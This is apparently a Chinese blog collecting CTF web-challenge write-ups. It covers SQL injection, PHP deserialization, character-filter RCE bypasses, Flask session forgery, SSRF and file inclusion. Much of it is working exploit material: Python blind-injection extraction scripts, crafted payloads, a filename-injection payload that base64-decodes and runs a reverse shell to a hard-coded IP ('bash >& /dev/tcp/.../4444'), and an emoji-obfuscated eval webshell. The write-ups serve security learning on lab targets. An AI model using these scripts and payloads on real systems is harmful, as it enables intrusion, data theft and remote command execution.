web每日一练

每日一题

每天一题罢了。。

ctfshow内部赛签到

扫到备份文件

login.php

php 复制代码
<?php
function check($arr){
if(preg_match("/load|and|or|\||\&|select|union|\'|=| |\\\|,|sleep|ascii/i",$arr)){
			echo "<script>alert('bad hacker!')</script>";
           die();   
       }
else{
	return true;
}
}
session_start();
include('db.php');
if(isset($_POST['e'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$p=$_POST['p'];
$sql ="select username from test1 where email='$e' and password='$p'";
if(check($e)&&check($p)){
$result=mysqli_query($con,$sql);
$row = mysqli_fetch_assoc($result);
    if($row){ 
		$_SESSION['u']=$row['username'];
		header('location:user.php');
    }
	else {
		echo "<script>alert('Wrong username or password')</script>";
	}
}
}
?>

register.php

php 复制代码
<?php
function check($arr){
if(preg_match("/load|and|\||\&| |\\\|sleep|ascii|if/i",$arr)){
			echo "<script>alert('bad hacker!')</script>";
           die();   
       }
else{
	return true;
}
}

include('db.php');
if(isset($_POST['e'])&&isset($_POST['u'])&&isset($_POST['p']))
{
$e=$_POST['e'];
$u=$_POST['u'];
$p=$_POST['p'];
$sql =
"insert into test1 set email = '$e',username = '$u',password = '$p'";
if(check($e)&&check($u)&&check($p)){
if(mysqli_query($con, $sql))
{
header('location:login.php');
}
}
}
?>

user.php

php 复制代码
<html>
<body background="bg2.jpg">
</body>
</html>
<?php
include('db.php');
session_start();
error_reporting(0);
if($_SESSION['u']){
$username=$_SESSION['u'];

if (is_numeric($username))
	{	
		if(strlen($username)>10) {
			$username=substr($username,0,10);
		}
		echo "Hello $username,there's nothing here but dog food!";
	}
	else{
		echo "<script>alert('The username can only be a number.How did you get here?go out!!!');location.href='login.php';</script>";
}
}
else{
		echo "<script>alert('Login first!');location.href='login.php';</script>";
}
?>

通过注册界面的union select

sql 复制代码
$sql ="select username from test1 where email='$e' and password='$p'";
$sql ="insert into test1 set email = '$e', username = '$u',password = '$p'"

构造sql语句

sql 复制代码
insert into test1 set email='1',username=hex(hex(substr((select/**/flag/**/from/**/flag),1,1))),password='0'

脚本

python 复制代码
import requests
import re

url1 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/register.php"
url2 = "http://7fc1279d-6a4b-4fca-968f-235322686f5b.challenge.ctf.show/login.php"
flag = ''
for i in range(1, 50):
    payload = "hex(hex(substr((select/**/flag/**/from/**/flag)from/**/" + str(i) + "/**/for/**/1))),/*"
    print(payload)
    s = requests.session()
    data1 = {
        'e': str(i + 30) + "',username=" + payload,
        'u': "*/#",
        'p': i + 30
    }
    # print(data1['e'])
    r1 = s.post(url1, data=data1)
    data2 = {
        'e': i + 30,
        'p': i + 30
    }
    r2 = s.post(url2, data=data2)
    t = r2.text
    real = re.findall("Hello (.*?),", t)[0]
    flag += real
    print(flag)
ctfshow{88827b24-2cd9-4be6-b15d-7eb1055f9c1c}

web15 Fishman

扫到备份文件

member.php中发现漏洞点

当查询返回的用户名为空且密码错误时,进行四次setcookie操作,当查询返回的用户名为不为空时,进行两次setcookie操作利用这个差异,就已经可以实现布尔盲注了。

python 复制代码
# encoding=utf-8
import requests

url = "https://6209bf27-efaa-4086-b619-a9552f4450f6.challenge.ctf.show/admin/"


def tamper(payload):
    payload = payload.lower()
    payload = payload.replace('u', '\\u0075')
    payload = payload.replace('\'', '\\u0027')
    payload = payload.replace('o', '\\u006f')
    payload = payload.replace('i', '\\u0069')
    payload = payload.replace('"', '\\u0022')
    payload = payload.replace(' ', '\\u0020')
    payload = payload.replace('s', '\\u0073')
    payload = payload.replace('#', '\\u0023')
    payload = payload.replace('>', '\\u003e')
    payload = payload.replace('<', '\\u003c')
    payload = payload.replace('-', '\\u002d')
    payload = payload.replace('=', '\\u003d')
    payload = payload.replace('f1a9', 'F1a9')
    payload = payload.replace('f1', 'F1')
    return payload


# get database length
def databaseName_len():
    print("start get database name length...")
    for l in range(0, 45):
        payload = "1' or (length(database())=" + str(l + 1) + ")#"
        payload = tamper(payload)
        tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
        headers = {'cookie': tmpCookie}
        r = requests.get(url, headers=headers)
        myHeaders = str(r.raw.headers)
        if ((myHeaders.count("login_data") == 1)):
            print('get db length = ' + str(l).lower())
            break


# get content
def get_databaseName():
    flag = ''
    for j in range(0, 15):
        for c in range(0x20, 0x7f):
            if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
                continue
            else:
                payload = "1' or (select (database()) between '" + flag + chr(c) + "' and '" + chr(126) + "')#"
            # print(payload)
            payload = tamper(payload)
            tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
            headers = {'cookie': tmpCookie}
            r = requests.get(url, headers=headers)
            myHeaders = str(r.raw.headers)
            if ((myHeaders.count("login_data") == 2)):
                flag += chr(c - 1)
                print('databasename = ' + flag.lower())
                break


# get content
def get_tableName():
    flag = ''
    for j in range(0, 30):  # blind inject
        for c in range(0x20, 0x7f):
            if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
                continue
            else:
                payload = "1' or (select (select table_name from information_schema.tables where table_schema=database() limit 3,1) between '" + flag + chr(
                    c) + "' and '" + chr(126) + "')#"
            # print(payload)
            payload = tamper(payload)
            tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
            headers = {'cookie': tmpCookie}
            r = requests.get(url, headers=headers)
            myHeaders = str(r.raw.headers)
            if ((myHeaders.count("login_data") == 2)):
                flag += chr(c - 1)
                print('tablename = ' + flag.lower())
                break


# get content
def get_ColumnName():
    flag = ''
    for j in range(0, 10):  # blind inject
        for c in range(0x20, 0x7f):
            if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
                continue
            else:
                payload = "1' or (select (select column_name from information_schema.columns where table_name='FL2333G' limit 0,1) between '" + flag + chr(
                    c) + "' and '" + chr(126) + "')#"
            # print(payload)
            payload = tamper(payload)
            tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
            headers = {'cookie': tmpCookie}
            r = requests.get(url, headers=headers)
            myHeaders = str(r.raw.headers)
            if ((myHeaders.count("login_data") == 2)):
                flag += chr(c - 1)
                print('column name = ' + flag.lower())
                break


# get content
def get_value():
    flag = ''
    for j in range(0, 50):  # blind inject
        for c in range(0x20, 0x7f):
            if chr(c) == '\'' or chr(c) == ';' or chr(c) == '\\' or chr(c) == '+':
                continue
            else:
                payload = "1' or (select (select FLLLLLAG from FL2333G) between '" + flag + chr(c) + "' and '" + chr(
                    126) + "')#"
            # print(payload)
            payload = tamper(payload)
            tmpCookie = 'islogin=1;login_data={"admin_user":"%s","admin_pass":65}' % payload
            headers = {'cookie': tmpCookie}
            r = requests.get(url, headers=headers)
            myHeaders = str(r.raw.headers)
            if ((myHeaders.count("login_data") == 2)):
                flag += chr(c - 1)
                print('flag = ' + flag.lower())
                break


print("start database sql injection...")
# databaseName_len()
# get_databaseName()
# get_tableName()
# get_ColumnName()
get_value()

[CISCN 2023 华北]ez_date

源码

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

unserialize(base64_decode($_GET['code']));

在反序列化的时候会自动触发这个类中的wakeup方法,看见关键代码

php 复制代码
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) )

测试代码

php 复制代码
<?php
if (sha1(12) === sha1('12') && md5(1) === md5('1')){
    echo '===';
}
else{
    echo '!=';
}
?>

正则

$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
(\s)*: 匹配零个或者多个空白字符 空格 制表符 换页符
(\n)+: 匹配一个或多个换行符
/i : 匹配时不区分大小写
把上面匹配到的内容全部置换为空

还有两个点

  • date函数可以转义

  • file_put_contents() 是 PHP 中的一个内置函数,用于写入数据到一个文件,或者创建一个新的文件。可以一次写入全部内容,而不需要打开、写入和关闭文件的多个步骤。

    file_put_contents($uuid,$content);
    
    • $uuid 参数会被用作文件名。例如,如果 $uuid 的值是 'abc123',那么数据就会被写入到名为 'abc123' 的文件中。
    • $content 参数是你想要写入文件的数据。它可以是任何可以被转换为字符串的内容。

因此得到最终payload

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
    public $a;
    public $b;
    public $file;
    public function __wakeup()
    {
        if(is_array($this->a)||is_array($this->b)){
            die('no array');
        }
        if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
            $content=date($this->file);
            $uuid=uniqid().'.txt';
            file_put_contents($uuid,$content);
            $data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
            echo file_get_contents($data);
        }
        else{
            die();
        }
    }
}

$yiyi = new date();
$yiyi -> a = 1;
$yiyi -> b = '1';
$yiyi -> file = '/f\l\a\g';

echo base64_encode(serialize($yiyi));

[CISCN 2023 华北]pysym

随便传一个看看

查看源码

python 复制代码
from flask import Flask, render_template, request, send_from_directory
import os
import random
import string
app = Flask(__name__)
app.config['UPLOAD_FOLDER']='uploads'
@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')
@app.route('/',methods=['POST'])
def POST():
    if 'file' not in request.files:
        return 'No file uploaded.'
    file = request.files['file']
    if file.content_length > 10240:
        return 'file too lager'
    path = ''.join(random.choices(string.hexdigits, k=16))
    directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
    os.makedirs(directory, mode=0o755, exist_ok=True)
    savepath=os.path.join(directory, file.filename)
    file.save(savepath)
    try:
     os.system('tar --absolute-names  -xvf {} -C {}'.format(savepath,directory))
    except:
        return 'something wrong in extracting'

    links = []
    for root, dirs, files in os.walk(directory):
        for name in files:
            extractedfile =os.path.join(root, name)
            if os.path.islink(extractedfile):
                os.remove(extractedfile)
                return 'no symlink'
            if  os.path.isdir(path) :
                return 'no directory'
            links.append(extractedfile)
    return render_template('index.html',links=links)
@app.route("/uploads/<path:path>",methods=['GET'])
def download(path):
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], path)
    if not os.path.isfile(filepath):
        return '404', 404
    return send_from_directory(app.config['UPLOAD_FOLDER'], path)
if __name__ == '__main__':
    app.run(host='0.0.0.0',port=1337)

上传tar

根据源码,只有限制长度,上传后调用系统命令对其进行,由于没有文件名的限制

php 复制代码
def POST():
    if 'file' not in request.files:
        return 'No file uploaded.'
    file = request.files['file']
    if file.content_length > 10240:
        return 'file too lager'
    path = ''.join(random.choices(string.hexdigits, k=16))
    directory = os.path.join(app.config['UPLOAD_FOLDER'], path)
    os.makedirs(directory, mode=0o755, exist_ok=True)
    savepath=os.path.join(directory, file.filename)
    file.save(savepath)
    try:
     os.system('tar --absolute-names  -xvf {} -C {}'.format(savepath,directory))
    except:
        return 'something wrong in extracting'

我们可以根据这个特性进行RCE

没有回显,考虑反弹shell

bash >& /dev/tcp/101.37.27.18/4444 0>&1

test.tar || echo  YmFzaCA+JiAvZGV2L3RjcC8xMDEuMzcuMjcuMTgvNDQ0NCAwPiYx| base64 -d | bash ||

[CISCN 2019华东南]Web4

文件读取

尝试读取/etc/passwd

尝试读取flag文件

常见linux配置文件

/etc/passwd用来判断读取漏洞的存在
/etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露,甚至可能出现secret key泄露的情况。
/etc/hostname/etc/hostname表示主机名。
/etc/issue指明系统版本。
/proc目录
/proc/[pid]查看进程
/proc/self查看当前进程
/proc/self/cmdline当前进程对应的终端命令
/proc/self/pwd程序运行目录
/proc/self/环境变量
/sys/class/net/eth0/address mac地址保存位

查看当前进程对应的终端命令

直接读

python 复制代码
# encoding:utf-8
import re
import random
import uuid
import urllib
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 233)
app.debug = True

@app.route('/')
def index():
    session['username'] = 'www-data'
    return 'Hello World! Read somethings'

@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        if re.search('^file.*|flag', url, re.IGNORECASE):
            return 'No Hack'
        with urllib.request.urlopen(url) as res:
            return res.read().decode('utf-8')
    except Exception as ex:
        print(str(ex))
        return 'no response'

@app.route('/flag')
def flag():
    if session.get('username') == 'fuck':
        return open('/flag.txt').read()
    else:
        return 'Access denied'

if __name__ == '__main__':
    app.run(debug=True, host="0.0.0.0")

经典session伪造

eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Zpc0_w.WMwIMXtSU15Mlrk3Lwa0K8ZD810

分为三个部分

第一部分是两段base64,使用脚本将www替换成fuck即可,中间是时间戳,最后面是安全签名

{"username":{" b":"d3d3LWRhdGE="}}

{"username":{" b":"www-data"}}

读mac地址

python 复制代码
import random
random.seed(0x0242ac02521c)
print(str(random.random()*233))

python2运行

bash 复制代码
┌──(root㉿kali)-[~/yiyi]
└─# python2 test.py 
38.8837558332

这里有坑,python2和3跑出来是不一样的,容器中用的是2,所以在这里我们也只能用2

拉到flask_session_cookie_manager3.py跑

cmd 复制代码
C:\Users\31702\Desktop\yiyi\CTF\web\FLASK框架>python flask_session_cookie_manager3.py encode -s 38.8837558332 -t "{'username':'fuck'}"
eyJ1c2VybmFtZSI6ImZ1Y2sifQ.ZpdGqA.dt2f0F84oMxkjl0sQQK3_d8E3Xg

替换后获得flag

使用说明

  • 使用 flask_session_cookie_manager3.py 与 Python 3,flask_session_cookie_manager2.py 与 Python 2。

使用方法:

bash 复制代码
flask_session_cookie_manager{2,3}.py [-h] {encode,decode} ...

Flask Session Cookie 解码/编码工具

位置参数:

  • {encode,decode}: 子命令帮助
    • encode: 编码
    • decode: 解码

可选参数:

  • -h--help: 显示帮助信息并退出

编码

bash 复制代码
flask_session_cookie_manager{2,3}.py encode [-h] -s <string> -t <string>

可选参数:

  • -h--help: 显示帮助信息并退出
  • -s <string>--secret-key <string>: 密钥
  • -t <string>--cookie-structure <string>: Session Cookie 结构

解码

bash 复制代码
flask_session_cookie_manager{2,3}.py decode [-h] [-s <string>] -c <string>

可选参数:

  • -h--help: 显示帮助信息并退出
  • -s <string>--secret-key <string>: 密钥
  • -c <string>--cookie-value <string>: Session Cookie 值

示例

编码

bash 复制代码
$ python{2,3} flask_session_cookie_manager{2,3}.py encode -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d' -t '{"number":"326410031505","username":"admin"}'
eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw

注意: Session Cookie 结构必须是一个有效的 Python 字典

解码

使用密钥:

bash 复制代码
$ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw' -s '.{y]tR&sp&77RdO~u3@XAh#TalD@Oh~yOF_51H(QV};K|ghT^d'
{u'username': 'admin', u'number': '326410031505'}

不使用密钥 (输出格式较差):

bash 复制代码
$ python{2,3} flask_session_cookie_manager{2,3}.py decode -c 'eyJudW1iZXIiOnsiIGIiOiJNekkyTkRFd01ETXhOVEExIn0sInVzZXJuYW1lIjp7IiBiIjoiWVdSdGFXND0ifX0.DE2iRA.ig5KSlnmsDH4uhDpmsFRPupB5Vw'
{"number":{" b":"MzI2NDEwMDMxNTA1"},"username":{" b":"YWRtaW4="}}

[FSCTF 2023]签到plus

dirsearch扫到shell.php,访问发现是php info

PHP<=7.4.21 Development Server源码泄露漏洞_php7.4.21漏洞-CSDN博客

关闭bp的Content-Length功能

请求包只留这几句即可

保存至txt查看

php 复制代码
HTTP/0.9 200 OK
Host: node4.anna.nssctf.cn:28393
Date: Wed, 17 Jul 2024 06:03:28 GMT
Connection: close
Content-Length: 443

<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";

$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;

if (isset($_GET['👽🦐'])) {
    eval($😭($_GET['👽🦐']));
};

?>

直接命令执行即可

[HNCTF 2022 Week1]Challenge__rce

get传参hint得到源码

php 复制代码
<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
}

一道无参RCE,发现|和^被过滤,不能用异或

查看所有未被过滤的字符

python 复制代码
import re

regex = r"[/!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]"

printable_chars = range(32, 127)

for char in printable_chars:
  if not re.search(regex, chr(char)):
    print(chr(char), end=" ")

考虑使用自增

首先,在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

php 复制代码
$_=[].'';
print_r($_); //Array

基础语法

php 复制代码
<?php
@$_ = [].'';//Array
$_ = $_[0];//A
$___= '_';
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//O
$___ = $_;//O
$_++;//P
$__=$_;//P
$__.=$___;//PO
$_++;$_++;$_++;
$__.=$_;//POS
$_++;
$__.=$_;//POST
echo $__;

$$__['_']($$__['__']);
//${$__}最终解析为$_POST
//['_']和['__']是传入的值

rce = $_=%5B%5D.'';$_%20=%20$_%5B0%5D;$___=%20'_';$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___%20=%20$_;$_++;$__=$_;$__.=$___;$_++;$_++;$_++;$__.=$_;$_++;$__.=$_;echo%20$__;$$__%5B'_'%5D($$__%5B'__'%5D);&_=system&__=ls
//过一遍url编码,并传入system和ls两个参数
?>

得尝试缩减,使用CHr

php 复制代码
<?php
$_=[]._;//Array
$__=$_[1];//r
$_=$_[0];//A
$_++;//B
$_1=++$_;//C
$_++;//D
$_++;//E
$_++;//F
$_++;//G
$_=$_1.++$_.$__; //CHr
// echo $_(71);
$_=_.$_(71).$_(69).$_(84); //利用CHr拼接 让$_=_GET
$$_[1]($$_[2]); //$_GET[1]($_GET[2])

url编码

然后就。。。

[CISCN 2023 西南]do_you_like_read

解法一:

发现存在后面并且有与之对应的动态链接库文件

对着后门文件改路径即可

/var/www目录无回显可以考虑app目录

http://node4.anna.nssctf.cn:28157/bootstrap/test/bypass_disablefunc.php?cmd=env&outpath=/tmp/xx&sopath=/app/bootstrap/test/bypass_disablefunc_x64.so

解法二:

将php等后缀改成jpg结尾

根据源码中的路径直接尝试访问webshell

解法三:

发现可能存在sql注入的漏洞点

直接跑sqlmap

--os-shell直接看环境变量即可

[强网杯 2019]随便注

联合查询的时候发现存在过滤

  • 绕过姿势1:十六进制编码绕过
sql 复制代码
';SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;
  • 绕过姿势2:使用handler函数替换
sql 复制代码
-- 打开一个表的handler
HANDLER table_name OPEN;

-- 读取下一个索引条目
HANDLER table_name READ NEXT;

-- 关闭handler
HANDLER table_name CLOSE;

payload

sql 复制代码
1';handler `1919810931114514` open;handler `1919810931114514` read next;

[鹤城杯 2021]EasyP

源码

php 复制代码
<?php
include 'utils.php';

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}
?> 

包含utils.php文件,尝试请求

但是有waf

php 复制代码
if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

使用%0a绕过,%a0 是 URL 编码中的一个特殊字符,代表一个非打印字符(No-Break Space)。在 PHP 中,非打印字符通常会被忽略。所以,/utils.php/%a0 实际上被 PHP 解析为 /utils.php/。

%a0的作用解析参考别的师傅

因此构造出payload

/index.php/utils.php/%a0

还有一层waf

php 复制代码
if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

这个比较简单

show[source 或者show.source 或者show+source绕过

最终payload

/index.php/utils.php/%a0?show[source

web3_莫负婵娟

皎洁一年惟此夜,莫教容易负婵娟

hint:环境变量 +linux字符串截取 + 通配符

fuzz一下

f12看到提示

<!--注意:正式上线请删除注释内容! -->
<!-- username yu22x -->
<!-- SELECT * FROM users where username like binary('$username') and password like binary('$password')-->

like有两个通配符%_,这里没有过滤_

% 表示零个或多个字符的任意字符串
_(下划线)表示任何单个字符

尝试使用通配符判断位数

根据这个逻辑就可以逐个爆破密码了

python 复制代码
import requests
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
url = 'https://cf189981-52d3-496b-9660-865ce7b82d8e.challenge.ctf.show/login.php'

pwd = ''
for i in range(32):
    print('i = '+str(i+1),end='\t')
    for j in a:
        password = pwd + j + (31 - i) * '_'
        data = {'username':'yu22x','password':password}
        r = requests.post(url,data=data,verify=False)
        if 'wrong' not in r.text:
             pwd += j
             print(pwd)
             break

进去后就是个命令执行

小写字母全部被过滤,想到可以用环境便利PATH进行命令构造,用自己的vps测试一下

ls

0;${PATH:5:1}${PATH:11:1}

没有c t,可以用nl来读取

0;${PATH:14:1}${PATH:5:1} ????.???

web2_故人心

三五夜中新月色,二千里外故人心

存在一个robots.txt

php 复制代码
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
    $d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
    if($d){
             highlight_file('hint.php');
             if(filter_var($url[1],FILTER_VALIDATE_URL)){
                $host=parse_url($url[1]);
                print_r($host); 
                if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));
                }else{
                    echo '差点点就成功了!';
                }
            }else{
                echo 'please give me url!!!';
            }     
    }else{
        echo '想一想md5碰撞原理吧?!';
    }
}else{
    echo '第一个都过不了还想要flag呀?!';
}
第一个都过不了还想要flag呀?!

访问hint、

Is it particularly difficult to break MD2?!
I'll tell you quietly that I saw the payoad of the author.
But the numbers are not clear.have fun~~~~
xxxxx024452    hash("md2",$b)
xxxxxx48399    hash("md2",hash("md2",$b))

看样子是个爆破

第一关

php 复制代码
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){

php小数点后超过161位做平方运算时会被截断,我们可以用科学计数法来代替,即 1e-162

第二关

php 复制代码
<?php
for ($i=100;$i<=999;$i++){
    $b = "0e".$i."024452";
    if($b==hash("md2", $b)){
        echo $b;
    }
}
//b=0e652024452
echo "\n";
for ($i=1000;$i<=9999;$i++){
    $c = "0e".$i."48399";
    if($c==hash("md2",hash("md2", $c))){
        echo $c;
    }
}
//c=0e603448399

第三关 post传参url

file_get_contents使用不存在的协议名导致目录穿越,实现SSRFphp源码中,在向目标请求时先会判断使用的协议。如果协议无法识别,就会认为它是个目录。题目中要求url中存在 ctfshow.com,又要构造符合url格式

我们这边随便来一个yiyi协议,又因为

php 复制代码
if(preg_match('/ctfshow\.com$/',$host['host'])){
                    print_r(file_get_contents($url[1]));

所以可以构造如下payload

url=yiyi://ctfshow.com/../../../../../../fl0g.txt

[NISACTF 2022]join-us

fuzz

尝试报错注入,and被过滤

1' and extractvalue(1,concat(0x7e,(select user()),0x7e))#

用||代替and

    1'||extractvalue(1,concat(0x7e,(select user()),0x7e))#

回显

XPATH syntax error: '~root@localhost~'

就可以编写脚本了,几个点,and过滤用||代替,columns禁用,使用join做合并,mid截取长度限制

python 复制代码
import requests

url = 'http://node5.anna.nssctf.cn:21164/dl.php'
def test(url):
    data = {
        'tt':"1'||extractvalue(1,concat(0x7e,(select user()),0x7e))#"
    }
    re = requests.post(url,data=data)
    print(re.text)
def database(url):
    data = {
        'tt':"1' || (select * from a)#"
    }
    re = requests.post(url,data=data)
    print(re.text)
def table(url):
    data = {
        'tt':"-1' || extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql')))#"
    }
    re = requests.post(url,data=data)
    print(re.text)
def column1(url):
    data = {
        'tt':"-1' || extractvalue(1,concat(0x5c,(select * from (select*from Fal_flag a join Fal_flag b)c)))#"#id
    }
    re = requests.post(url,data=data)
    print(re.text)
def column2(url):
    data = {
        'tt':"-1' || extractvalue(1,concat(0x5c,(select * from (select*from Fal_flag a join output b)c)))#"#data
    }
    re = requests.post(url,data=data)
    print(re.text)
def flag1(url):
    data = {
        'tt':"-1' || extractvalue(1,mid(concat(0x5c,(select data from output)),30,20))#"#data
    }
    re = requests.post(url,data=data)
    print(re.text)


if __name__ == "__main__":
    # test(url)
    # database(url)
    # table(url)
    # column1(url)
    # column2(url)
    flag1(url)
    # NSSCTF{68f27707-1003-413e-bd2a-4f5193963b20}

[MoeCTF 2022]ezphp

变量覆盖

源码

PHP 复制代码
<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
    exit($getout);
}

foreach ($_POST as $key => $value) {
    $$key = $value;
}

foreach ($_GET as $key => $value) {
    $$key = $$value;
}

echo 'the flag is : ' . $flag;

?>

直接打

http://node5.anna.nssctf.cn:26770/?a=flag&flag=a

[第五空间 2021]EasyCleanup

源码

php 复制代码
<?php 
if(!isset($_GET['mode'])){ 
    highlight_file(__file__); 
}else if($_GET['mode'] == "eval"){ 
    $shell = isset($_GET['shell']) ? $_GET['shell'] : 'phpinfo();'; 
    if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); 
    eval($shell); 
} 


if(isset($_GET['file'])){ 
    if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); 
    include $_GET['file']; 
} 


function filter($var){ 
    $banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*", "`"]; 

    foreach($banned as $ban){ 
        if(strstr($var, $ban)) return True; 
    } 

    return False; 
} 

function checkNums($var){ 
    $alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'; 
    $cnt = 0; 
    for($i = 0; $i < strlen($alphanum); $i++){ 
        for($j = 0; $j < strlen($var); $j++){ 
            if($var[$j] == $alphanum[$i]){ 
                $cnt += 1; 
                if($cnt > 8) return True; 
            } 
        } 
    } 
    return False; 
} 
?>

当 mode=eval 时,若 shell 无值,则执行phpinfo();,若有值则经过滤后执行shell值的代码;file有值时经过滤后进行文件包含。所以攻击点有两个,一个是变量 shell 的 RCE ,一个是 file 的文件包含,由于 shell 变量需要经过if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); ,限制太多,想要通过 RCE 得到 flag 几乎无从下手

于是我们考虑从file寻找攻击点。PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,那该怎么办?此时可以通过利用一些技巧让服务存储我们恶意生成的文件,该文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。首先看利用最方便的日志文件包含,日志文件目录路径一般过长,会被过滤掉而无法包含。然后尝试用session文件包含,一般利用GET传参将我们构造好的恶意代码传入session中的,但没有 GET 传参还能往 session 中写入代码吗?当然可以,php 5.4后添加了 session.upload_progress 功能,这个功能开启意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将恶意语句写入session文件。

